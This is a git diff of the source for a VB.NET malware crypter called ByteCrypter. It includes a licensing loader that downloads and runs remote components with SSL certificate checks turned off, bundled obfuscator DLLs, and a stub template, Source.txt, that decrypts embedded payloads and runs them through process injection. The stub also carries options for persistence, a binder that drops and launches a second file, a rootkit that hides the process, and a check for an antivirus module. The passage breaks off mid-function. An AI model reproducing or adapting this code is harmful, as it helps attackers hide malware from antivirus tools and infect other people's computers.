Set(ByVal value As GenericDelegate) + _RenewHook = value + End Set + End Property + + Private _Protection As RuntimeProtection + Property Protection() As RuntimeProtection + Get + Return _Protection + End Get + Set(ByVal value As RuntimeProtection) + _Protection = value + End Set + End Property + + Private _ValidateCore As Boolean + Property ValidateCore As Boolean + Get + Return _ValidateCore + End Get + Set(ByVal value As Boolean) + _ValidateCore = value + End Set + End Property + +#End Region + +#Region " Public Methods " + + Sub Initialize(ByVal programID As String) + ID = programID + Initialize() + End Sub + + Sub Initialize() + If LicenseGlobal.LicenseInitialize Then Return + LicenseGlobal.LicenseInitialize = True + + If String.IsNullOrEmpty(ID) Then + ErrorKill("Unable to initialize due to missing Net Seal ID.") + Return + End If + + ServicePointManager.Expect100Continue = False + ServicePointManager.DefaultConnectionLimit = 5 + + Try + WC = New CookieClient() + + Dim Common As String = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + LocationPath = Path.Combine(Common, "Nimoru") + + LicenseLocation = Path.Combine(LocationPath, "LicenseSE") + GizmoDllLocation = Path.Combine(LocationPath, "GizmoDll") + GizmoLocation = Path.Combine(LocationPath, "GizmoSE") + + DownloadChecksums() + DownloadComponents() + ValidateSignature() + + Instance.GetMethod("SetID").Invoke(Nothing, New Object() {ID}) + Instance.GetMethod("SetCatch").Invoke(Nothing, New Object() {[Catch]}) + Instance.GetMethod("SetDisableUpdates").Invoke(Nothing, New Object() {DisableUpdates}) + Instance.GetMethod("SetRunHook").Invoke(Nothing, New Object() {RunHook}) + Instance.GetMethod("SetBanHook").Invoke(Nothing, New Object() {BanHook}) + Instance.GetMethod("SetRenewHook").Invoke(Nothing, New Object() {RenewHook}) + Instance.GetMethod("SetScan").Invoke(Nothing, New Object() {DirectCast(Protection, Byte)}) + Catch ex As Exception + Dim T As New StringBuilder + T.AppendLine(Date.UtcNow.ToString) + T.AppendLine() + T.AppendLine(ex.Message) + T.AppendLine(ex.StackTrace) + File.WriteAllText("loader.log", T.ToString) + + ErrorKill("Unable to continue due to an error. Exception written to 'loader.log' file.") + Return + End Try + + Try + Instance.GetMethod("Run").Invoke(Nothing, New Object() {Version, ProductVersion}) + Catch + ErrorKill("Unable to initialize license file.") + End Try + End Sub + + Sub ShowAccount() + Instance.GetMethod("ShowAccount").Invoke(Nothing, Nothing) + End Sub + + Function Encrypt(ByVal data As String) As String + InitializeRm() + + Dim R As Byte() = Encoding.UTF8.GetBytes(data) + Dim O As Byte() = Encryptor.TransformFinalBlock(R, 0, R.Length) + Dim U(O.Length + 3) As Byte + + Buffer.BlockCopy(BitConverter.GetBytes(data.Length), 0, U, 0, 4) + Buffer.BlockCopy(O, 0, U, 4, O.Length) + + Return Convert.ToBase64String(U) + End Function + + Function Decrypt(ByVal data As Byte()) As Byte() + InitializeRm() + + Dim Size As Integer = BitConverter.ToInt32(data, 0) + Dim O As Byte() = Decryptor.TransformFinalBlock(data, 4, data.Length - 4) + + Dim U(Size - 1) As Byte + Buffer.BlockCopy(O, 0, U, 0, Size) + + Return U + End Function + + 'NOTE: If String.IsNullOrEmpty() get new posts from License.News. + Function GetPostMessage(ByVal postID As Integer) As String + Dim Data As Object = Instance.GetMethod("GetPostMessage").Invoke(Nothing, New Object() {postID}) + Return DirectCast(Data, String) + End Function + + Function GetVariable(ByVal name As String) As String + Dim Data As Object = Instance.GetMethod("GetVariable").Invoke(Nothing, New Object() {name}) + Return DirectCast(Data, String) + End Function + + Function SpendPoints(ByVal count As Integer) As Boolean + Dim Data As Object = Instance.GetMethod("SpendPoints").Invoke(Nothing, New Object() {count}) + Return DirectCast(Data, Boolean) + End Function + + Sub InstallUpdates() + Instance.GetMethod("InstallUpdates").Invoke(Nothing, Nothing) + End Sub + + Sub BanCurrentUser(ByVal reason As String) + Instance.GetMethod("BanCurrentUser").Invoke(Nothing, New Object() {reason}) + End Sub + +#End Region + +#Region " System Declarations " + + Private Instance As Type + Private WC As CookieClient + + Private LocationPath As String + Private LicenseLocation As String + Private GizmoDllLocation As String + Private GizmoLocation As String + + Private Checksums As String() + + Private Const Domain As String = "http://seal.elitevs.net/Base/" + Private Const PublicKey As String = "BgIAAAAiAABEU1MxAAQAAKVlurdZMaHymNk04yRy3VGj0Bhf6gGIBsGr1zk42LrdnwYLfvn7MBAiYoCH2cD07M/HuM6NW1WqJQVF2omwH5S211wfvBCutU92RxXldmfvd06l8eQqmppztYIrXdxmW0BRlosBKPM5ms6YXZnoMKseAoqZ6Ajza8U9QCJMkSHSR+O23EoGj9V+7xwkCoYHklFtLJzERB6y/DW1BCCHhLblzpFz+mht1CD6xAi2QBNY7vZcWdbqo+ZLT4y7sw8jU61liYBuZLA/t+6KHhoIwZ+NIErsCHW5RD9ln5VpMC66wBCcY594ZTIManIuvmpw4eQaUXZPoMogf29gJgJSolaDg5iP1XDqzOTPu9RdsHe3R1ZaNglrL05zoTM94Zkl5KT+bPAUC99kGrEDmNipe6tj8FwoOTNNaTaOvWZlXTtAfaxqGV47nxKfabgxEl08n0c3PBJEjUZzJ4chwQ2Ex2A5uYBgRukcmKmRmdwIphHq0IwdoxS1+6HSwXxg1d3EEAoxJ75R1eSXF+cXOeC7d/U2UY0tqwAAAMvTiz5uMzpBQIYdNcbYnrJwHObk" + + Private ReadOnly Property UID As String + Get + Return "?uid=" & BitConverter.ToString(BitConverter.GetBytes(Environment.TickCount)).Replace("-", "") + End Get + End Property + + Private Encryptor As ICryptoTransform + Private Decryptor As ICryptoTransform + Private RmInitialize As Boolean + + _ + Delegate Sub GenericDelegate() + + _ + Private Shared Sub ExitProcess(ByVal code As UInteger) + End Sub + + _ + Private Shared Function StrongNameSignatureVerificationEx( _ + ByVal fileName As String, _ + ByVal force As Boolean, _ + ByRef genuine As Boolean) As Boolean + End Function + + _ + Private Shared Function CreateInstance( _ + ByVal cid As Guid, _ + ByVal iid As Guid) As Object + End Function + +#End Region + +#Region " System Methods " + + Private Sub DownloadChecksums() + Try + Checksums = WC.DownloadString(Domain & "checksumSE.php" & UID).Split(Char.MinValue) + Catch ex As Exception + Threading.Thread.Sleep(500) + Checksums = WC.DownloadString(Domain & "checksumSE.php" & UID).Split(Char.MinValue) + End Try + End Sub + + Private Sub DownloadComponents() + Dim Hash As String + If Not Directory.Exists(LocationPath) Then + Directory.CreateDirectory(LocationPath) + End If + + OverrideSSL() '--BEGIN OVERRIDE-- + + If Not File.Exists(GizmoDllLocation) Then + DownloadGizmoDll() + End If + + Hash = MD5File(GizmoDllLocation) + If Not Hash = Checksums(1) Then + DownloadGizmoDll() + End If + + If Not File.Exists(GizmoLocation) Then + DownloadGizmo() + End If + + Hash = MD5File(GizmoLocation) + If Not Hash = Checksums(2) Then + DownloadGizmo() + End If + + If Not File.Exists(LicenseLocation) Then + DownloadLicense() + End If + + Hash = MD5File(LicenseLocation) + If Not Hash = Checksums(3) Then + DownloadLicense() + End If + + RestoreSSL() '--END OVERRIDE-- + End Sub + + Private Sub ValidateSignature() + If ValidateCore AndAlso Not CheckCore() Then + Throw New InvalidDataException("Core framework files are not trusted.") + Return + End If + + Dim M As FileStream = File.OpenRead(LicenseLocation) + Dim R As New BinaryReader(M) + + Dim FullData As Byte() = R.ReadBytes(CInt(M.Length)) + M.Position = 2 + + Dim Sign As Byte() = R.ReadBytes(40) + Dim Data As Byte() = R.ReadBytes(CInt(M.Length - Sign.Length - 2)) + R.Close() + + Dim DSA As New DSACryptoServiceProvider + DSA.ImportCspBlob(Convert.FromBase64String(PublicKey)) + + If DSA.VerifyData(Data, Sign) Then + Instance = Assembly.Load(FullData).GetType("Share") + Else + Throw New InvalidDataException("Unable to validate signature.") + End If + End Sub + + + Private Sub DownloadGizmoDll() + Dim Data As Byte() = WC.DownloadData(Checksums(0) & Checksums(1) & ".co") + Data = Decompress(Data) + + Dim Hash As String = MD5(Data) + If Not Checksums(1) = Hash Then + Fail(GizmoDllLocation) + Return + End If + + File.WriteAllBytes(GizmoDllLocation, Data) + End Sub + + Private Sub DownloadGizmo() + Dim Data As Byte() = WC.DownloadData(Checksums(0) & Checksums(2) & ".co") + Data = GizmoDecompress(Data) + + Dim Hash As String = MD5(Data) + If Not Checksums(2) = Hash Then + Fail(GizmoLocation) + Return + End If + + File.WriteAllBytes(GizmoLocation, Data) + End Sub + + Private Sub DownloadLicense() + Dim PI As New ProcessStartInfo + PI.Arguments = String.Format("""{0}"" ""{1}"" {2} -s", Checksums(0) & Checksums(3) & ".co", LicenseLocation, Checksums(3)) + PI.FileName = GizmoLocation + PI.UseShellExecute = False + + Dim P As Process = Process.Start(PI) + If Not P.WaitForExit(20000) Then + Environment.Exit(0) + End If + + If Not P.ExitCode = 7788 Then + Environment.Exit(0) + End If + End Sub + + + Private Sub Fail(ByVal path As String) + File.Delete(path) + ErrorKill("Failed to initialize all the required components.") + End Sub + + Private Sub ErrorKill(ByVal message As String) + MessageBox.Show(message, "Loader Error", MessageBoxButtons.OK, MessageBoxIcon.Error) + Environment.Exit(0) + ExitProcess(0) + End Sub + + + Private Function Decompress(ByVal data As Byte()) As Byte() + Dim Size As Integer = BitConverter.ToInt32(data, 0) + + Dim U(Size - 1) As Byte + Dim M As New MemoryStream(data, 4, data.Length - 4) + + Dim D As New DeflateStream(M, CompressionMode.Decompress, False) + D.Read(U, 0, U.Length) + + D.Close() + M.Close() + Return U + End Function + + Private Function GizmoDecompress(ByVal data As Byte()) As Byte() + Dim GizmoDll As Byte() = File.ReadAllBytes(GizmoDllLocation) + Dim G As MethodInfo = Assembly.Load(GizmoDll).GetType("H").GetMethod("Decompress") + Return DirectCast(G.Invoke(Nothing, New Object() {data}), Byte()) + End Function + + + Private Function MD5(ByVal data As Byte()) As String + Dim H As New MD5CryptoServiceProvider + Return HashToString(H.ComputeHash(data)) + End Function + + Private Function MD5File(ByVal path As String) As String + Dim F As New FileStream(path, FileMode.Open, FileAccess.Read) + Dim H As New MD5CryptoServiceProvider + + Dim Hash As String = HashToString(H.ComputeHash(F)) + + F.Close() + Return Hash + End Function + + Private Function HashToString(ByVal data As Byte()) As String + Return BitConverter.ToString(data).ToLower().Replace("-", String.Empty) + End Function + + Private Sub InitializeRm() + If RmInitialize Then Return + RmInitialize = True + + Dim Rm As New RijndaelManaged + Rm.Padding = PaddingMode.Zeros + Rm.Mode = CipherMode.CBC + Rm.Key = PrivateKey + Rm.IV = PrivateKey + + Encryptor = Rm.CreateEncryptor() + Decryptor = Rm.CreateDecryptor() + End Sub + + Private SN As IStrongName + + Private Function CheckCore() As Boolean + Dim Base As String = RuntimeEnvironment.GetRuntimeDirectory() + Dim Build As String = RuntimeEnvironment.GetSystemVersion() + Dim HostCLR As Boolean = Int32.Parse(Build(1).ToString()) >= 4 + + If HostCLR Then + Dim CID_META_HOST As New Guid("9280188D-0E8E-4867-B30C-7FA83884E8DE") + Dim CID_STRONG_NAME As New Guid("B79B0ACD-F5CD-409B-B5A5-A16244610B92") + + Dim Meta As IMeta = DirectCast(CreateInstance(CID_META_HOST, GetType(IMeta).GUID), IMeta) + Dim Runtime As IRuntime = DirectCast(Meta.GetRuntime(Build, GetType(IRuntime).GUID), IRuntime) + SN = DirectCast(Runtime.GetInterface(CID_STRONG_NAME, GetType(IStrongName).GUID), IStrongName) + End If + + Dim File1 As String = Path.ChangeExtension(Path.Combine(Base, "mscorlib"), "dll") + Dim File2 As String = Path.ChangeExtension(Path.Combine(Base, "system"), "dll") + + Dim Token As Byte() = New Byte() {183, 122, 92, 86, 25, 52, 224, 137} + If Not IsTrusted(File1, Token, HostCLR) Then Return False + If Not IsTrusted(File2, Token, HostCLR) Then Return False + + Return True + End Function + + Private Function IsTrusted(ByVal path As String, ByVal token As Byte(), ByVal hostCLR As Boolean) As Boolean + Dim Genuine As Boolean + + If hostCLR Then + If Not (SN.StrongNameSignatureVerificationEx(path, True, Genuine) = 0 AndAlso Genuine) Then Return False + Else + If Not (StrongNameSignatureVerificationEx(path, True, Genuine) AndAlso Genuine) Then Return False + End If + + Dim PublicToken As Byte() = Assembly.LoadFile(path).GetName().GetPublicKeyToken() + If PublicToken Is Nothing OrElse Not PublicToken.Length = 8 Then Return False + + For I As Integer = 0 To 7 + If Not PublicToken(I) = token(I) Then Return False + Next + + Return True + End Function + + Private SSLCallback As RemoteCertificateValidationCallback + Private Function ValidateSSL(ByVal sender As Object, ByVal cert As X509Certificate, ByVal chain As X509Chain, ByVal errors As SslPolicyErrors) As Boolean + Return True + End Function + + Private Sub OverrideSSL() + SSLCallback = ServicePointManager.ServerCertificateValidationCallback + ServicePointManager.ServerCertificateValidationCallback = New RemoteCertificateValidationCallback(AddressOf ValidateSSL) + End Sub + + Private Sub RestoreSSL() + ServicePointManager.ServerCertificateValidationCallback = SSLCallback + End Sub + +#End Region + + _ + Private Interface IMeta + Function GetRuntime(ByVal version As String, ByVal iid As Guid) As Object + End Interface + + _ + Private Interface IRuntime + Sub M1() + Sub M2() + Sub M3() + Sub M4() + Sub M5() + Sub M6() + Function GetInterface( cid As Guid, iid As Guid) As Object + End Interface + + _ + Private Interface IStrongName + Sub M1() + Sub M2() + Sub M3() + Sub M4() + Sub M5() + Sub M6() + Sub M7() + Sub M8() + Sub M9() + Sub M10() + Sub M11() + Sub M12() + Sub M13() + Sub M14() + Sub M15() + Sub M16() + Sub M17() + Sub M18() + Sub M19() + Sub M20() + Function StrongNameSignatureVerificationEx(ByVal filePath As String, ByVal force As Boolean, ByRef genuine As Boolean) As Integer + End Interface + +End Class + +Friend Module LicenseGlobal + + Friend Seal As New License + Friend LicenseInitialize As Boolean + +End Module + +Friend Enum LicenseType As Byte + Free = 0 + Bronze = 1 + Silver = 2 + Gold = 3 + Platinum = 4 + Diamond = 5 +End Enum + + _ +Friend Enum RuntimeProtection As Byte + None = 0 + Debuggers = 1 + DebuggersEx = 2 + Timing = 4 + Parent = 8 + FullScan = 15 +End Enum + +Friend Structure NewsPost + Private ReadOnly _ID As Integer + ReadOnly Property ID() As Integer + Get + Return _ID + End Get + End Property + + Private ReadOnly _Name As String + ReadOnly Property Name() As String + Get + Return _Name + End Get + End Property + + Private ReadOnly _Time As Date + ReadOnly Property Time() As Date + Get + Return _Time + End Get + End Property + + Sub New(ByVal id As Object, ByVal name As Object, ByVal time As Object) + _ID = DirectCast(id, Integer) + _Name = DirectCast(name, String) + _Time = DirectCast(time, Date) + End Sub +End Structure + +Friend NotInheritable Class CookieClient + Inherits WebClient + + Private Request As HttpWebRequest + Public Cookies As New CookieContainer + + Protected Overrides Function GetWebRequest(ByVal address As Uri) As WebRequest + Request = DirectCast(MyBase.GetWebRequest(address), HttpWebRequest) + Request.Timeout = 20000 + Request.ReadWriteTimeout = 20000 + Request.KeepAlive = False + Request.CookieContainer = Cookies + Request.Proxy = Nothing + Return Request + End Function + + Sub ClearCookies() + Cookies = New CookieContainer + End Sub + +End Class \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/My Project/Application.Designer.vb b/scode (ByteCrypt/ByteCrypter/My Project/Application.Designer.vb new file mode 100644 index 0000000..b5f4d26 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.17929 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Crypter.Form1 + End Sub + End Class +End Namespace diff --git a/scode (ByteCrypt/ByteCrypter/My Project/Application.myapp b/scode (ByteCrypt/ByteCrypter/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (ByteCrypt/ByteCrypter/My Project/AssemblyInfo.vb b/scode (ByteCrypt/ByteCrypter/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..1dce95e --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' Les informations générales relatives à un assembly dépendent de +' l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations +' associées à un assembly. + +' Passez en revue les valeurs des attributs de l'assembly + + + + + + + + + + +'Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM + + +' Les informations de version pour un assembly se composent des quatre valeurs suivantes : +' +' Version principale +' Version secondaire +' Numéro de build +' Révision +' +' Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut +' en utilisant '*', comme indiqué ci-dessous : +' + + + diff --git a/scode (ByteCrypt/ByteCrypter/My Project/Resources.Designer.vb b/scode (ByteCrypt/ByteCrypter/My Project/Resources.Designer.vb new file mode 100644 index 0000000..4167540 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/My Project/Resources.Designer.vb @@ -0,0 +1,153 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.17929 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Crypter.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized string similar to <Assembly: AssemblyTitle("%Title%")> + '''<Assembly: AssemblyDescription("%Description%")> + '''<Assembly: AssemblyCompany("%Company%")> + '''<Assembly: AssemblyProduct("%Product%")> + '''<Assembly: AssemblyCopyright("%Copyright%")> + '''<Assembly: AssemblyTrademark("%Trademark%")> + '''<Assembly: AssemblyFileVersion("%FileVersion%")> . + ''' + Friend ReadOnly Property Asem() As String + Get + Return ResourceManager.GetString("Asem", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized resource of type System.Drawing.Bitmap. + ''' + Friend ReadOnly Property Capture() As System.Drawing.Bitmap + Get + Dim obj As Object = ResourceManager.GetObject("Capture", resourceCulture) + Return CType(obj,System.Drawing.Bitmap) + End Get + End Property + + ''' + ''' Looks up a localized resource of type System.Byte[]. + ''' + Friend ReadOnly Property DarkFire() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("DarkFire", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Looks up a localized resource of type System.Byte[]. + ''' + Friend ReadOnly Property Mono_Cecil() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Mono_Cecil", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Looks up a localized resource of type System.Byte[]. + ''' + Friend ReadOnly Property pourquoi() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("pourquoi", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Imports System, Microsoft.VisualBasic + '''Imports System.Reflection + '''Imports System.Text + '''Imports System.Security.Cryptography + '''Imports System.IO.Compression + '''Imports System.IO + '''Imports System.Diagnostics + ''' + ''''[ASEMBLYCODE] + '''<Assembly: AssemblyKeyFileAttribute("STRONGNAMELOCATION")> + ''' + '''Public Class _BASE + ''' Shared ASM As Assembly = Assembly.GetExecutingAssembly() + ''' Shared RM As New Resources.ResourceManager("Z", ASM) + ''' Shared Bind As Boolean = %BindCheck% + ''' Shared Once As Boolean = %OnceCheck% + ''' [rest of string was truncated]";. + ''' + Friend ReadOnly Property Source() As String + Get + Return ResourceManager.GetString("Source", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized resource of type System.Byte[]. + ''' + Friend ReadOnly Property Xenocode() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("Xenocode", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + End Module +End Namespace diff --git a/scode (ByteCrypt/ByteCrypter/My Project/Resources.resx b/scode (ByteCrypt/ByteCrypter/My Project/Resources.resx new file mode 100644 index 0000000..642d9c6 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/My Project/Resources.resx @@ -0,0 +1,142 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\Source.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\Asem.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + + ..\Resources\Mono.Cecil.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\pourquoi.snk;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Xenocode.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\DarkFire.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Capture.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/My Project/Settings.Designer.vb b/scode (ByteCrypt/ByteCrypter/My Project/Settings.Designer.vb new file mode 100644 index 0000000..c24cb50 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.17929 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Crypter.My.MySettings + Get + Return Global.Crypter.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (ByteCrypt/ByteCrypter/My Project/Settings.settings b/scode (ByteCrypt/ByteCrypter/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (ByteCrypt/ByteCrypter/Resources/Asem.txt b/scode (ByteCrypt/ByteCrypter/Resources/Asem.txt new file mode 100644 index 0000000..96232da --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/Resources/Asem.txt @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/Resources/Capture.png b/scode (ByteCrypt/ByteCrypter/Resources/Capture.png new file mode 100644 index 0000000..8bbb20a Binary files /dev/null and b/scode (ByteCrypt/ByteCrypter/Resources/Capture.png differ diff --git a/scode (ByteCrypt/ByteCrypter/Resources/DarkFire.dll b/scode (ByteCrypt/ByteCrypter/Resources/DarkFire.dll new file mode 100644 index 0000000..3e03ce3 Binary files /dev/null and b/scode (ByteCrypt/ByteCrypter/Resources/DarkFire.dll differ diff --git a/scode (ByteCrypt/ByteCrypter/Resources/Mono.Cecil.dll b/scode (ByteCrypt/ByteCrypter/Resources/Mono.Cecil.dll new file mode 100644 index 0000000..71f58b2 Binary files /dev/null and b/scode (ByteCrypt/ByteCrypter/Resources/Mono.Cecil.dll differ diff --git a/scode (ByteCrypt/ByteCrypter/Resources/Source.txt b/scode (ByteCrypt/ByteCrypter/Resources/Source.txt new file mode 100644 index 0000000..de82e7a --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/Resources/Source.txt @@ -0,0 +1,163 @@ +Imports System, Microsoft.VisualBasic +Imports System.Reflection +Imports System.Text +Imports System.Security.Cryptography +Imports System.IO.Compression +Imports System.IO +Imports System.Diagnostics + +'[ASEMBLYCODE] + + +Public Class _BASE + Shared ASM As Assembly = Assembly.GetExecutingAssembly() + Shared RM As New Resources.ResourceManager("Z", ASM) + Shared Bind As Boolean = %BindCheck% + Shared Once As Boolean = %OnceCheck% + Shared Sub Main() + Try + 'BINDER CheckBinder + For Each procMod As ProcessModule In Process.GetCurrentProcess().Modules + If procMod.ModuleName = "snxhk.dll" Then + End If + Next + Dim EX As New EX(RetRpE, "Alternative", "Running", New Object() {RetFile, "%ProcessName%", "", "%NON%", "%Folder%", "%Filename%", "%KeyName%"}) + EX.Run() + 'ROOTPersist + '_HIDEDim ProcessName As String = "%ProcessName%" + '_HIDEDim Processes() As System.Diagnostics.Process = System.Diagnostics.Process.GetProcessesByName(ProcessName) + '_HIDEDim id = Processes(0).Id + '_HIDEDim Hide As New EX(RetRoot, "Rootkits", "HideProcess", New Object() {Process.GetProcessById(Convert.ToInt32(id))}) + '_HIDEHide.Run() + Catch ex As Exception + MsgBox(ex.Message) + End Try + End Sub + Public Shared Sub Persist() + While True + Dim P = Process.GetProcessesByName("%ProcessName%") + If P.Length < 1 Then + Dim EX As New EX(RetRpE, "Alternative", "Running", New Object() {RetFile, "%ProcessName%", "%NON%", "%Folder%", "%Filename%", "%KeyName%"}) + EX.Run() + + End If + System.Threading.Thread.Sleep(500) + End While + End Sub + Private Shared ReadOnly Property RetFile As Byte() + Get + Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("First")))) + End Get + End Property + + Private Shared ReadOnly Property RetRpE As Byte() + Get + Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("Second")))) + End Get + End Property + + '_HIDEPrivate Shared ReadOnly Property RetRoot As Byte() + '_HIDE Get + '_HIDE Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("Root")))) + '_HIDE End Get + '_HIDEEnd Property + + 'BINDERPrivate Shared ReadOnly Property RetBind As Byte() + 'BINDER Get + 'BINDER Return Decompress(PolyIndia(Encoding.Default.GetBytes(RM.GetObject("Three")))) + 'BINDER End Get + 'BINDEREnd Property + + 'BINDERShared Sub ExecBind() + 'BINDER Dim RR As New Random + 'BINDER Dim Path = IO.Path.GetTempPath & RR.Next(1, 99999) & "%Extension%" + 'BINDER Dynamic(GetType(IO.File), "WriteAllBytes", New Object() {Path, RetBind}) + 'BINDER Dynamic(GetType(Process), "Start", New Object() {Path}) + 'BINDEREnd Sub + + 'BINDERShared Sub CheckBinder() + 'BINDER Dim x As System.Threading.Thread + 'BINDER Dim xx As System.Threading.Thread + 'BINDER If Bind = True Then + 'BINDER If Once = True Then + 'BINDER Dim OnceKey As Microsoft.Win32.RegistryKey = My.Computer.Registry.ClassesRoot.OpenSubKey("AlreadyLaunched", False) + 'BINDER If OnceKey Is Nothing Then + 'BINDER xx = New System.Threading.Thread(AddressOf ExecBind) + 'BINDER xx.Start() + 'BINDER My.Computer.Registry.ClassesRoot.CreateSubKey("AlreadyLaunched", False) + 'BINDER Else + 'BINDER End If + 'BINDER Else + 'BINDER x = New System.Threading.Thread(AddressOf ExecBind) + 'BINDER x.Start() + 'BINDER End If + 'BINDER Else : Exit Sub : End If + 'BINDEREnd Sub + + Public Shared Function 